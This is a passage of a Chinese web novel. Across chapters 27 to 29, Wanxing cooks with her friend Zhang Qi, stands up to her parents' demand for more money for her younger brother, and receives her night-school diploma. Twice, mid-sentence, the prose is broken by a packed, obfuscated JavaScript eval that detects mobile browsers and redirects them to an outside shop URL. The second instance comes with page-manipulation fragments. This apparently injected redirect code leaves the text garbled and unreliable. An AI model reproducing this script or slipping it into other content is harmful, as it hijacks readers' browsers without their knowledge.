不过半小时,清脆的敲门声便响起。晚星快步跑去开门,门外的张琪背着洗得发白的帆布包,手里拎着两个鼓鼓的塑料袋,额角沁着细密的汗珠,头发被风吹得微乱,却依旧笑得眉眼弯弯、灿烂明亮。“快进来,路上肯定累坏了吧?”晚星伸手接过她手里的东西,侧身让她进屋,顺手递上一杯晾好的温水。 张琪喝了口温水,目光缓缓扫过出租屋,眼里满是欣慰:“你这小屋子收拾得真干净利落,比之前厂里那间拥挤的宿舍舒服多了。采光也好,坐在这儿看书备考,心情都能变好。”出租屋不大,却被晚星打理得井井有条,书桌靠着窗户,上面整齐码放着自考教材、笔记本和错题本,墙上贴着色彩分明的知识点思维导图,每一处细节都透着认真生活的烟火气与奋力成长的痕迹。 “还好,地方小,下班回来顺手就收拾了,也不费劲儿。”晚星笑着把张琪带来的草莓倒进水果盘,颗颗饱满鲜红,看着就让人欢喜,“你先坐会儿歇着,我去做饭,咱们今天好好吃一顿。”她早就记着张琪轮休的日子,前一天特意从超市采购了新鲜排骨、青菜和番茄,都是张琪爱吃的菜式。 “我跟你一起搭把手!”张琪立刻站起身,快步跟着晚星走进狭小却整洁的厨房,“你又上班又备考,够累的了,我可不能让你一个人忙活,咱们边做边聊。”说着,她熟练地挽起袖子,主动接过晚星手里的青菜,指尖翻飞间便将黄叶择净,放进清水里仔细冲洗,动作麻利又娴熟。两人分工默契,晚星专注处理排骨、调配食材,张琪负责清洗蔬菜、切配辅料,厨房里很快响起水流声、切菜声与轻声笑语,暖意融融,满是久违的闺蜜相伴的热闹。 “面授班的课程怎么样?老师讲得透彻吗?能不能跟上节奏?”张琪一边切番茄,一边抬眼看向晚星,眼神里满是真切的关切。她比谁都清楚晚星为了自考付出的努力,每天起早贪黑,连午休的碎片时间都用来刷题,心里既为她骄傲,又忍不住心疼。 晚星正忙着给排骨焯水,看着锅里泛起的浮沫,闻言抬头笑了笑,语气平静又坚定:“挺好的,老师讲得很细致,重点也划得清晰,上课认真听、课后及时复盘,大多知识点都能吃透。就是古代汉语还是块硬骨头,文言文翻译总容易卡壳,虚词用法也绕,得反复琢磨、逐句推敲才行。”她没有半分抱怨,眼底反而透着一股不服输的韧劲,像是在攻克一个值得的目标。 “那你也别太急,慢慢来,一口吃不成胖子。”张琪把切好的番茄放进瓷碗里,走到晚星身边,看着锅里翻滚的排骨,语气满是笃定,“我就知道你肯定能坚持下来。以前在厂里的时候,别人休息都在刷手机、唠闲嗑,就你总抱着书看,还偷偷写随笔,那时候我就觉得,你骨子里就不是会被困在流水线里的人。现在你换了超市的工作,又踏实备考,整个人都亮起来了,越来越有方向感。” 晚星关掉火,用漏勺将焯好水的排骨捞出来沥干水分,听着张琪的话,心底瞬间涌上一股暖意。她不由自主想起在电子厂的那些日子,枯燥压抑的流水线工作、突如其来的流言蜚语,让她一度迷茫无助,是张琪始终陪在她身边,在她委屈落泪时递上纸巾,在她自我怀疑时鼓励她坚持热爱,从未让她独自承受孤单。“那时候多亏有你,”晚星的声音轻却真挚,“要是没有你陪着我、陪着我吐槽、鼓励我别放弃,我可能早就被那些烦心事打垮,半途而废了。” “跟我还说这个?”张琪拍了拍她的肩膀,语气带着几分嗔怪,又满是真诚,“咱们是最好的闺蜜,我不支持你支持谁?不管是工作还是自考,只要是你想做的,我都全力支持你。以后我轮休就过来陪你,给你做饭、监督你学习,绝对不让你偷懒。” 晚星看着张琪真诚的眼神,眼眶微微发热,用力点了点头。她知道,张琪的支持从来都不是说说而已,从她决定离职找新工作,到确定自考专业、制定备考计划,张琪始终在她身边,为她出谋划策,默默付出。这份闺蜜情,是她前行路上最坚实的后盾。 两人一边做饭,一边回忆着在电子厂的日子。那时候日子枯燥又压抑,每天重复着流水线的工作,还要应对复杂的人际关系,唯一的慰藉,就是下班后天黑前的短暂时光,两人坐在宿舍的阳台上,分享零食,聊聊心事,憧憬着未来的生活。 “说真的,我还挺羡慕你的。”张琪突然开口,语气里带着几分感慨,“你有勇气跳出舒适区,去追求自己想要的生活。我现在还在厂里待着,每天重复着一样的工作,看不到头,却又不敢轻易辞职,怕找不到更好的工作。” 晚星闻言,停下手里的动作,认真地看着张琪:“你也别妄自菲薄,厂里的工作虽然辛苦,但你一直都很认真负责,而且你手脚麻利,学东西也快。现在不着急辞职,先攒点钱,慢慢留意合适的机会。不管你做什么决定,我都支持你,要是想换工作,我也帮你一起找。” 她顿了顿,又补充道:“还有,你在厂里一定要照顾好自己,别总为了赶产量加班加点,身体最重要。流水线工作累,平时多吃点好的,别舍不得花钱,要是受了委屈,一定要告诉我,别自己憋着。”晚星的语气里满是担忧,她知道电子厂的工作强度大,人际关系也复杂,很担心张琪受委屈、累坏身体。 张琪心里一暖,笑着点了点头:“我知道啦,你就放心吧,我会照顾好自己的。倒是你,每天又要上班又要备考,一定要注意休息,别为了刷题熬到太晚,不然第二天上班没精神,反而得不偿失。”她一边说,一边帮晚星把排骨放进锅里,加入调料,盖上锅盖,“我会经常给你带好吃的,给你补充营养,让你有力气备考。” 聊着聊着,饭菜渐渐做好了。一盘红烧排骨、一盘番茄炒蛋、一盘清炒青菜,还有一碗温热的冬瓜汤,简单的四菜一汤,却满满都是心意。两人把饭菜端到餐桌上,摆好碗筷,迫不及待地尝了起来。 “你做的红烧排骨还是这么好吃!”张琪咬了一口排骨,满足地眯起眼睛,“比厂里食堂的饭菜强多了,以后我轮休就来蹭饭。” “欢迎随时来蹭饭,只要你有空。”晚星笑着给张琪夹了一块番茄,“多吃点,补补身体。” 餐桌上,两人絮絮叨叨地聊着天,从超市的趣事、自考的难题,到厂里的近况、未来的憧憬,无话不谈。晚星跟张琪说起超市的同事,陈姐的热心、林晓的活泼,还有顾客的认可,语气里满是欣慰;张琪也跟晚星吐槽厂里的琐事,分享同事间的小温暖,压抑的情绪渐渐消散。 “对了,我上次在厂里听说,有个同事辞职后去了一家服装店做导购,工资比在厂里高,还不用天天加班。”张琪突然想起一件事,对着晚星说道,“我打算下次轮休去看看,要是合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不知不觉,夕阳西下,天色渐渐暗了下来。张琪要赶末班车回厂里的宿舍,晚星送她到公交站。站在公交站的路灯下,两人并肩而立,晚风轻轻吹过,带着几分微凉。 “路上注意安全,到了宿舍记得给我发消息。”晚星叮嘱道,语气里满是不舍。 “我知道啦,你也早点回去,别熬夜刷题,注意休息。”张琪握住晚星的手,眼神真诚,“不管遇到什么困难,都别忘了告诉我,我一直都在。我们一起努力,一起变成更好的自己。” 晚星用力点头,握紧了张琪的手:“嗯,我们一起努力。你也要照顾好自己,我等你换工作的好消息。” 公交车缓缓驶来,张琪松开晚星的手,挥了挥手:“我走啦,下次轮休再来看你!” “好!”晚星笑着挥手,看着公交车渐渐远去,直到消失在夜色中,才转身往出租屋走。晚风依旧微凉,但她的心里却暖暖的,充满了力量。 回到出租屋,晚星坐在书桌前,看着张琪帮她整理好的自考资料,又拿起手机,看着张琪发来的“安全到宿舍”的消息,嘴角扬起淡淡的笑容。她知道,无论未来的自考之路多么艰难,无论工作中遇到多少挫折,她都不是一个人在战斗。张琪的陪伴与支持,就像一束光,照亮她前行的路,给她无穷的勇气和力量。 她轻轻翻开习题册,重新投入到学习中,眼神比之前更加坚定。闺蜜间的情谊,是彼此最坚实的支撑,她们会在各自的人生路上努力奔跑,相互陪伴,相互鼓励,一起奔赴属于她们的光明未来。而这份深厚的情谊,也会在时光的沉淀中,愈发醇厚,成为她们生命中最珍贵的财富。 夜色渐深,台灯的暖光温柔地铺满书桌,映出晚星专注的身影。她知道,只要有张琪在身边,有这份彼此支撑的情谊,无论前路多么坎坷,她都能勇敢面对,步履不停。 28. 第 28 章 傍晚七点半,超市闭店的铃声准时划破喧嚣。晚星麻利地擦拭完收银台,仔细核对完当日账目,将浅蓝色员工服平整叠进帆布包,和陈姐、林晓简单道别后,便踏着渐浓的夜色往出租屋赶。秋夜的风裹着微凉,吹得路边梧桐叶簌簌作响,她手里攥着刚从超市购得的馒头和咸菜——这是她为自己准备的晚餐,便宜又省时。心里早已盘算妥当,回到家先刷一套现代汉语习题,再沉下心背诵一小时古代汉语知识点,距离自考报名仅剩半个月,每一分可支配的时间,都被她视作追逐目标的珍宝。 出租屋的灯光昏黄却妥帖,驱散了秋夜的凉意。晚星推开门,先将简单的食材归置到小厨房,给自己倒了一杯温吞水,随后便坐在靠窗的书桌前翻开习题册。台灯的暖光稳稳落在书页上,她很快便沉浸在题目里,笔尖在纸上轻快移动,偶尔遇到易错点,便随手用红笔标注在错题本上,周遭的车流声、人声,都成了无关紧要的背景音。这样全然专注的时刻,是她一天中最安心的救赎,能暂时卸下工作的琐碎与生活的压力,只与自己的自考目标并肩前行。 可这份宁静没能持续太久,桌上的手机突然响起,屏幕上“爸爸”两个字格外醒目。晚星握着笔的手猛地一顿,心头莫名涌上一股熟悉的沉重。她太清楚了,父母这个时间点来电,十有八九是为了生活费的事。深吸一口气,压下心底那丝不易察觉的抗拒,她按下接听键,语气尽量放得温和:“爸,怎么了?” “怎么了?你还问我怎么了?”电话那头,父亲晚建国的声音裹着明显的不耐烦,背景里隐约能听见母亲王秀兰细碎的絮叨声,“这个月的生活费怎么还没打过来?你妈天天在家念叨,说你是不是翅膀硬了,忘了家里还有老的小的要养。” 晚星缓缓放下笔,指尖无意识地摩挲着习题册的边缘,语气平静地解释:“爸,我这两天发了工资就给你们打过去,这几天忙着自考备考,一时疏忽忘了时间。”她每个月都会按时给家里寄一千五百块生活费,这是早就和父母约定好的规矩。即便自己月薪微薄,除去房租、水电费,还要挤出钱买自考教材和辅导资料,她也从未拖欠过一次,始终尽力维系着对家里的责任。 “备考备考,你就知道备考!”电话那头的声音陡然拔高,王秀兰一把抢过话筒,语气尖锐又强硬,满是恨铁不成钢的指责,“一个女孩子家,读那么多书有什么用?还不是要嫁人过日子!不如多挣点钱补贴家里,你弟弟博文明年就要上高中了,学费、补课费、营养费,哪一样不要钱?你倒好,只顾着自己瞎折腾,不管家里的死活!” 听到“林博文”三个字,晚星的心里掠过一阵细密的苦涩,那是从小刻在骨子里的认知——在这个家里,弟弟永远是中心,父母所有的偏爱与资源,都会毫无保留地倾向于他,而她作为姐姐,似乎生来就背负着“牺牲与付出”的使命。从前在电子厂打工时,她每个月的工资大半都寄回了家,供弟弟交学费、买新鞋和零食,自己却省吃俭用,一件衣服穿好几年,连像样的护肤品都舍不得买。可即便做到这样,在父母眼里,依旧不够。 “妈,我没有不管家里。”晚星的声音微微发紧,指尖不自觉攥紧了手机,却依旧强行保持着克制,“我每个月都按时给你们寄生活费,以后也会一直寄。但我想考个本科文凭,这对我以后找工作真的有好处,等我考上了,能找到薪资更高、更稳定的工作,到时候也能给家里多补贴一些。”她放软语气,试图和母亲讲道理,盼着能换来一丝理解与包容。 “找更好的工作?那都是虚无缥缈的空话!”王秀兰根本不听她的解释,语气愈发激动,带着不容置喙的强势,“谁知道你能不能考上?就算侥幸考上了,又要耗好几年时间,你弟弟可等不起!我跟你说,你别再想着什么自考了,赶紧把心思都放在挣钱上,下个月开始,生活费再加五百,专门给你弟弟攒高中的学费,听见没有?” 晚星的眉头紧紧蹙起,心底的委屈与无奈像潮水般渐渐翻涌。她一个月工资只有四千块,房租就要一千二,再加上水电费、基本伙食费和自考资料费,能挤出一千五百块寄回家,已是她能力的极限。再加五百,意味着她要把自己的伙食标准压到最低,甚至连必要的辅导资料都买不起,更别说安心备考了。“妈,我每个月就四千块工资,房租就要一千二,还要吃饭、买自考资料,实在挤不出更多钱了。一千五百块是我能承受的上限,再多,我自己都难以为继了。”她的声音里带着一丝不易察觉的疲惫。 “难以为继?你少跟我装可怜!”王秀兰的声音里满是嘲讽,语气也愈发刻薄,“在超市上班难道不包吃吗?就算不包,省省总能省出来!我告诉你晚星,你是姐姐,供弟弟上学、为弟弟打拼是天经地义的事,这事没得商量!要么你乖乖每月多寄五百,要么就别考那个没用的自考,赶紧换个工资高的工作,比如回电子厂加班,一个月也能挣五六千,比你在超市混日子强多了!” “我不去电子厂。”晚星的语气第一次多了几分不容动摇的坚定,声音虽不高,却带着破釜沉舟的决绝,“我在超市的工作虽然工资不高,但时间相对固定,能让我有精力备考。我不想再回到以前那种暗无天日的流水线生活,每天重复着机械的动作,看不到未来,只能在深夜里偷偷难过。我想为自己活一次,为自己的未来拼一把。”那些在电子厂挣扎的日子,是她心底最深的烙印,她再也不想重蹈覆辙。 “为自己活一次?你翅膀硬了是不是?敢跟我们顶嘴了?”晚建国的声音重新传来,带着家长式的威严与强硬,不容置喙,“我们把你养这么大,供你读了十几年书,现在让你为家里做点贡献,为你弟弟牺牲一点,怎么就不行了?你要是敢不听我们的话,不按时加钱,不放弃自考,我们就没你这个女儿!” 这句话像一根尖锐的针,狠狠扎在晚星的心上。她鼻子一酸,眼眶瞬间就湿润了,可心底那股被压抑多年的韧劲,却在这一刻愈发强烈。从小到大,父母总是用“养育之恩”“姐弟情深”来绑架她,用亲情的枷锁逼着她一次次妥协、一次次牺牲。可她也是他们的孩子,也有自己的梦想和追求,凭什么要一辈子活在弟弟的光环下,为弟弟的人生铺路? 她深吸一口气,努力平复着翻涌的情绪,声音带着一丝难以掩饰的哽咽,却异常坚定:“爸,妈,我知道你们养育我不容易,也清楚弟弟上高中需要钱。我可以向你们保证,以后每个月都会按时给你们寄一千五百块生活费,弟弟上高中的学费,我也会尽我所能帮衬一部分。等我自考考完,找到更好的工作,一定给家里多补贴一些。” 顿了顿,她语气笃定地补充道:“但我不会再加生活费,也绝不会放弃自考。这是我第一次为自己的未来做打算,也是我这么多年来唯一的执念,我不想放弃。我可以为家里付出,可以承担起作为姐姐的责任,但我不会无底线妥协,我也要有自己的生活和追求。希望你们能理解我。” “你这是要跟我们对着干是吧?”王秀兰的声音瞬间被愤怒灌满,语气里带着威胁,“我告诉你晚星,你别想耍小聪明!今天这事儿,你必须听我们的,否则我们就直接去找你,到你上班的超市去闹,让你领导和同事都看看你是怎么不孝、怎么不管家里死活的,让你没法安心工作!” 听到母亲要去超市闹事,晚星的心里猛地一紧,后背泛起一阵凉意。她好不容易才摆脱电子厂的困境,找到这份安稳的工作,和同事、领导相处得都很融洽,若是父母真的闹到超市,不仅会让她颜面尽失,甚至可能丢掉这份赖以生存的工作。可即便如此,她也不想放弃自考的目标——这是她摆脱原生束缚的唯一希望。“妈,你们别去超市闹,这事儿跟我的工作没关系,别把事情闹大。”她的语气带着恳求,却依旧坚守底线,“我已经把我的底线告诉你们了,能做的我都做到了,剩下的,我真的无能为力了。” 电话那头陷入了短暂的沉默,只有隐约的呼吸声传来,随后便响起晚建国沉重而疲惫的声音:“你真的要这么固执?为了一个虚无缥缈的自考,连家里都不管了?连我们的话都不听了?” “我没有不管家里。”晚星的眼泪终于忍不住掉了下来,顺着脸颊滑落,滴在摊开的习题册上,晕开一小片深色墨迹,声音里满是压抑多年的委屈与不甘,“我只是想为自己拼一次。爸,妈,你们有没有真正为我想过一次?我从小到大,什么都先想着家里,想着弟弟,好吃的、好用的都先让给弟弟,我自己省吃俭用,从来不敢为自己花一分钱,不敢有一点私心。现在我想考个文凭,想让自己的未来好一点,想靠自己的力量站稳脚跟,难道这也有错吗?” 她的声音带着撕心裂肺的坦诚,电话那头的王秀兰似乎也愣了一下,语气稍微缓和了一些,却依旧带着固执的强硬:“我们怎么没为你想过?女孩子家,找个条件好的人家嫁了,安稳过日子才是正经事,读那么多书有什么用?还不是要柴米油盐过日子。你现在好好挣钱,帮你弟弟把婚房首付攒出来,等你弟弟将来有出息了,还能少得了你的好处?还能帮衬你一把。” “我不想把希望寄托在别人身上,包括弟弟。”晚星抬手擦了擦眼泪,语气重新变得坚定而清醒,“我想靠自己的努力过上好生活,想拥有选择人生的权利,而不是一辈子依附别人。爸,妈,这事就这么定了,我每个月按时寄一千五百块回家,自考我也会继续坚持。你们要是实在不能理解我,我也没办法,但我绝不会改变主意。” 电话那头又僵持了片刻,晚建国最终重重叹了口气,语气里满是无奈:“行了行了,我们不逼你加生活费了,但你必须保证,每个月按时寄钱回家,不能拖欠,你弟弟的学费你也得尽力帮衬。至于自考,你要考就考,但别因为这个耽误了家里的事,别让我们失望。”他太了解晚星的性子,一旦认定的事,十头牛都拉不回来,再逼下去,只会两败俱伤,反而落得个离心离德的下场。 晚星心里一松,悬了许久的石头终于落了下来,连忙点头应下,声音里带着一丝劫后余生的轻颤:“我保证,每个月都会按时寄钱,弟弟的学费我也会尽最大努力帮衬。谢谢爸,谢谢妈。” “谢什么谢,我们还不是为了你好,为了这个家好。”王秀兰的语气依旧带着不满,却少了几分尖锐,多了一丝不易察觉的关心,“你自己在外注意身体,别光顾着学习忘了吃饭,身体垮了什么都白搭。还有,别乱花钱买那些没用的资料,能省就省点。”嘴硬心软,大抵是天下父母最真实的模样,即便偏爱弟弟,终究还是记挂着女儿的身体。 “我知道了妈,我会好好照顾自己,按时吃饭的。”晚星的心里泛起一丝暖意,即便父母再强势、再偏爱弟弟,这份藏在指责里的关心,依旧能触动她心底最柔软的地方。 又在电话里叮嘱了几句家常,父母便挂了电话。晚星握着手机,坐在书桌前久久没有动弹,眼泪还在无声地滑落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233597|197633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,浸湿了衣襟。刚才的通话,像一场无声的博弈,耗尽了她所有的力气,心里既有被理解的释然,也有不被全然接纳的委屈。但她清楚,这是她第一次鼓起勇气,拒绝父母的无底线要求,第一次坚定地守护自己的目标,这份突破,对她而言意义非凡。 这时,手机震动了一下,是张琪发来的微信:“晚星,今天学习顺不顺利?有没有遇到难啃的知识点呀?跟你说个事,我明天去那家服装店面试,有点紧张,怕发挥不好。” 看到张琪的消息,晚星连忙擦干眼泪,强打起精神回复:“还好,刚跟我爸妈通完电话,有点小插曲,已经解决了。你别紧张,你性格开朗,嘴又甜,特别适合做导购,肯定能面试成功的,我对你有信心!”她不想让张琪担心,刻意淡化了家里的矛盾,只轻描淡写地带过。 张琪很快回复过来,还附带了一个拥抱的表情:“是不是你爸妈又催你寄钱了?他们没为难你吧?我太了解你了,肯定又委屈自己了。要是受了委屈就跟我说,别自己憋着,我陪着你呢。”张琪深知晚星的原生家庭情况,知道她总是被亲情裹挟,习惯委屈自己成全别人,也总是默默为她心疼。 看到这句话,晚星积压在心底的委屈仿佛找到了宣泄的出口,眼眶又微微发热。她回复道:“他们想让我每月多寄五百块给弟弟攒学费,还让我放弃自考,我跟他们谈好了,还是每月寄一千五百块,自考我继续考,他们也同意了。”简单的几句话,却藏着她无数的挣扎与坚持。 “太好了!你终于敢为自己争取了!”张琪发来一个欢呼的表情,语气里满是为她开心的激动,“我就知道你可以的!别想太多,坚持做自己就好,不管遇到什么事,我都一直支持你。明天我面试完第一时间告诉你结果,咱们一起加油,都为了自己的未来好好努力!” “嗯,一起加油。”晚星看着手机屏幕,嘴角缓缓露出一抹淡淡的笑容。张琪的理解与支持,像一束温暖的光,驱散了她心底的阴霾,抚平了她的委屈,给了她继续坚定走下去的勇气。有这样一个懂她、护她的闺蜜,是她这辈子最大的幸运。 她站起身,走到窗边,看着窗外的万家灯火,夜色温柔,晚风轻轻吹过,带着一丝凉意,却让她的头脑愈发清醒。原生家庭的牵绊,像一根无形的线,缠绕着她,让她疲惫,让她挣扎,可也正是这份沉重的牵绊,让她更加渴望摆脱束缚,更加坚定地想要靠自己的努力,活出不一样的人生。 从前的她,总是习惯性地妥协、牺牲,把家里的需求、弟弟的未来放在第一位,却唯独忘了自己也有追求幸福、实现梦想的权利。可现在,她不想再这样了。自考对她而言,不仅是一张文凭那么简单,更是证明自己价值的方式,是拥有选择生活权利的筹码,是摆脱原生家庭枷锁的钥匙。 回到书桌前,晚星拿起纸巾,小心翼翼地擦干净习题册上的墨迹,重新翻开书本。虽然心里还有残留的酸涩与疲惫,但眼神却比之前更加坚定、更加澄澈。她知道,未来的路不会一帆风顺,父母或许还会反复施压,自考的道路也注定充满艰辛与坎坷,但她不会再轻易退缩,不会再轻易放弃。 她拿出笔记本,握着笔,在空白页上一笔一划写下:“坚守目标,不卑不亢,温柔而坚定。”这十二个字,不仅是对自己的鼓励,更是对未来的郑重承诺。她会在原生家庭的牵绊中,努力平衡家庭责任与自我追求,用自己的方式,一步步走向属于自己的光明未来。 夜色渐深,台灯的暖光依旧温柔地铺满书桌,映出晚星专注而坚定的身影。她轻轻翻开古代汉语教材,低声背诵着知识点,声音不大,却字字清晰、句句坚定。那些委屈与挣扎,那些妥协与坚持,都化作了前行的动力,让她更加珍惜这来之不易的学习机会,也更加坚定了靠自己改变命运的决心。 她清楚地知道,原生家庭的影响或许一辈子都无法完全消除,那些刻在骨子里的牵绊与愧疚,或许会伴随她一生。但她可以选择不被其定义,不被其束缚,可以选择用自己的努力打破偏见,用自己的坚持赢得尊重。她会带着这份温柔与坚定,在成长的道路上步履不停,用努力和坚持,改写自己的人生轨迹,活成自己想要的模样。 与此同时,远在老家的晚家,晚建国和王秀兰挂了电话后,坐在昏暗的客厅沙发上,陷入了沉默。王秀兰重重叹了口气,语气里满是无奈与抱怨:“这孩子,现在越来越固执了,真是翅膀硬了,管不住了。” 晚建国点燃一支烟,深深吸了一口,缓缓吐出烟雾,语气里带着疲惫的通透:“算了,别逼她太紧了。她在外打工也不容易,一个女孩子家,能按时寄钱回来就不错了。至于自考,她想考就让她考吧,说不定真能考上,以后找个好工作,还能帮衬家里更多,也能让博文多沾点光。” 王秀兰点了点头,心里却依旧满是顾虑:“希望她别半途而废,也别光顾着自己,忘了家里。博文明年就要上高中了,择校费、补课费,到处都需要钱,咱们老两口没本事,还得靠她帮忙撑着。” 两人的话语里,满是对生活的无奈、对未来的期许,却唯独没有想过,晚星也有自己的人生要走,也渴望被理解、被尊重,也值得为自己的梦想全力以赴。而此刻的晚星,早已收拾好所有情绪,全身心投入到备考中。她知道,只有努力变得更强大,才能在原生家庭的牵绊中守住自己的一方天地,才能真正摆脱依附,赢得属于自己的尊重与自由。 29. 第 29 章 初冬的傍晚,暮色比往常沉得更快。下午六点刚过,窗外便已被浓暗裹挟,街灯次第亮起,晕开一圈圈暖黄的光晕,勉强驱散了空气中的湿冷。晚星提前和组长请了假,换下超市那件洗得柔软的浅蓝色员工服,套上一件干净的米白色外套,脚步匆匆地赶往城郊的夜校——今天是她夜校课程的最后一课,也是她领取高中毕业证的日子,是她为自己的人生按下“重启键”的重要时刻。 从超市到夜校要转两趟公交,单程就需耗费一小时。过去的一年多里,每个周一、周三、周五的夜晚,她都雷打不动地往返于这条路线。结束一天繁琐的收银工作,拖着浑身的疲惫奔赴课堂,风雨无阻。起初也曾被现实压得喘不过气,工作的琐碎、身体的透支,再加上同步备考自考的双重压力,好几次都让她萌生了放弃的念头,可一想到心中藏了许久的目标,想到王老师每次课后温和的鼓励,便又咬着牙坚持了下来。 夜校的教学楼不大,却始终萦绕着一股温暖的烟火气。此刻,教室里已坐了不少同学,大多是和晚星一样,在社会上摸爬滚打多年,不甘于现状而重新拾起书本的成年人。大家脸上都带着难掩的不舍,三三两两地小声交谈,话题离不开对这一年多课程的回望,以及对各自未来的期许。晚星熟门熟路地走到靠窗的老位置坐下,那是她从第一节课就坚守的角落,桌面边缘还留着她用铅笔标注的知识点痕迹,是时光与努力最真实的印记。 没过多久,王老师便拿着一摞鲜红的毕业证书走了进来。王老师今年五十多岁,鬓角已染霜白,脸上却总挂着温和的笑意,眼神里藏着历经岁月沉淀的慈爱与笃定。他在这所夜校教了十几年语文,见证了无数像晚星一样渴望通过知识改写命运的年轻人,而对这个始终勤奋自律、骨子里藏着韧劲的姑娘,更是多了几分留意与由衷的欣赏。 “同学们,今天是我们这一期夜校的最后一课,也是大家收获成果、奔赴新程的日子。”王老师将毕业证书轻轻放在讲台上,声音温和却充满力量,“首先,我要恭喜每一位坚持到最后的同学。你们克服了工作的忙碌、生活的重压,挣脱了安逸的惯性,重新回到课堂,这份勇气与毅力,值得所有人敬佩。” 教室里响起了热烈而真诚的掌声,晚星也用力拍着手,掌心微微发热。思绪不由自主地飘回刚入学时的自己——那时刚从电子厂离职,对未来一片迷茫,连拿起书本都觉得生疏僵硬,简单的知识点要反复琢磨才能理解。是夜校的课程,一点点帮她找回了学习的节奏;是王老师的耐心引导,让她重新燃起了对生活的期待,也坚定了通过自考进一步提升自己的决心。这一年多的夜晚,每一次专注听讲、每一次课后刷题、每一次和同学争论难题,都成了她成长路上最珍贵的注脚。 王老师逐一念着名字,同学们依次走上讲台领取毕业证书,脸上都洋溢着掩饰不住的喜悦与自豪。当“晚星”两个字从王老师口中说出时,晚星深吸一口气,站起身快步走上前。王老师笑着将一本鲜红的毕业证书递到她手中,证书封面的烫金字迹在灯光下熠熠生辉,触感厚实而庄重。“晚星,恭喜你。”王老师的眼神里满是赞许,轻轻拍了拍她的肩膀,语气里藏着欣慰,“这一年多的努力,我都看在眼里,你是我见过最勤奋、也最有韧性的学生之一。” 晚星双手接过毕业证书,紧紧抱在怀里,鼻尖微微发酸,眼眶也泛起了湿润。这不仅仅是一本薄薄的证书,更是对她无数个挑灯夜读的认可,是她挣脱原生家庭束缚、追求独立人生的第一步,是她给自己的一份沉甸甸的答卷。“谢谢王老师,”她的声音带着一丝不易察觉的哽咽,语气里满是真诚的感激,“没有您的教导和鼓励,我可能早就半途而废了,走不到今天。” 领取完毕业证书后,王老师又和大家围坐在一起聊了许久,不仅分享了实用的学习方法,还语重心长地叮嘱大家:无论未来选择继续深造,还是奔赴更广阔的职场,都要保持终身学习的心态,守住心中的目标,不轻易向生活妥协。同学们听得格外认真,纷纷点头记下,教室里弥漫着温馨而励志的氛围,每一句话都藏着对彼此的祝福。 课程结束后,同学们陆续收拾东西离开,教室里渐渐变得空旷,只剩下桌椅碰撞的轻响。晚星没有立刻动身,而是走到讲台上,默默帮王老师整理散落的讲义、擦拭黑板上的粉笔灰。“王老师,以后可能就很少有机会来这里了。”她望着熟悉的讲台、斑驳的黑板,心里满是不舍,语气里藏着眷恋,“这段时间,真的谢谢您。” 王老师停下手中的动作,转过身看着她,温和地笑了笑:“傻孩子,这都是你自己咬牙坚持的结果。我只是做了我该做的事,真正了不起的,是你自己。”他顿了顿,目光落在晚星怀里的毕业证书上,语气渐渐郑重起来,“我知道你一直在准备自考,这条路比夜校难走得多——没有固定的课堂,没有同学的并肩陪伴,更多的是一个人的孤军奋战,未来一定会遇到不少困难和挫折。” 晚星轻轻点头,眼神里闪过一丝坚定的光:“我知道,自考的知识点更深、范围更广,备考压力也更大。有时候晚上刷题到深夜,遇到解不出来的难题,也会觉得累,觉得迷茫无助。但我不想放弃,”她顿了顿,语气里藏着对未来的期许,“我想通过自己的努力拿到本科文凭,找到一份更好的工作,真正为自己活一次,掌握自己的人生。”她没有多说原生家庭的牵绊,可那份渴望摆脱束缚、追求独立的决心,早已藏在了每一句话里。 王老师看着她眼中不熄灭的光,欣慰地点了点头:“我理解你的心情,也相信你有这个能力。但我想提醒你,自考之路切忌急于求成,一定要一步一个脚印,把基础打扎实。遇到难题不要钻牛角尖,能查资料就多查,能请教就多问,实在熬不住就停下来歇歇,调整好心态再重新出发——坚持不是硬扛,懂得变通才能走得更远。” “还有,”王老师的语气愈发郑重,目光里满是期许与牵挂,“无论未来遇到什么变故,都不要轻易放弃学习的念头。原生家庭的束缚、生活的琐碎、工作的压力,都可能成为阻碍你的绊脚石,但你要记住,知识是你最坚实的后盾,是任何人都拿不走的财富。只有不断提升自己,才能真正挣脱束缚,掌握自己的人生方向。” 晚星的心里猛地一震,王老师的话仿佛一束光,精准地照进了她心底最柔软也最挣扎的角落。她不由自主地想起不久前和父母的争执,想起那些被原生家庭裹挟的委屈与不甘,眼眶又一次湿润了。“我记住了,王老师。”她用力点头,声音坚定而澄澈,“我一定会坚持下去,不管遇到什么困难,都不会放弃自考,不会放弃自己的目标。” 王老师笑了笑,转身从讲台抽屉里拿出一本厚厚的语文辅导书,轻轻递给晚星:“这是我以前整理的自考语文知识点和答题技巧,你拿着用吧,或许能帮你少走点弯路。里面还有我标注的重点、易错点,你可以结合教材慢慢研读,不懂的地方也可以随时给我发消息。” 晚星双手接过辅导书,书页已经有些泛黄,边缘也微微卷起,上面写满了密密麻麻的批注,有的用红笔标注重点,有的用蓝笔补充解析,能看出是王老师花费无数心血精心整理的。她紧紧握着这本沉甸甸的书,心里涌起一股暖流,千言万语最终都化作了一句真挚的话:“谢谢王老师,您太好了。我一定会好好利用这本书,不辜负您的期望和用心。” 两人又聊了许久,王老师又细细叮嘱了她不少自考备考的注意事项:如何合理分配工作与学习的时间、如何调整作息避免过度劳累、如何保持良好的心态应对备考压力……晚星认真地听着,一字一句都记在心里,仿佛把老师的每一份牵挂与期许,都化作了前行路上的动力。 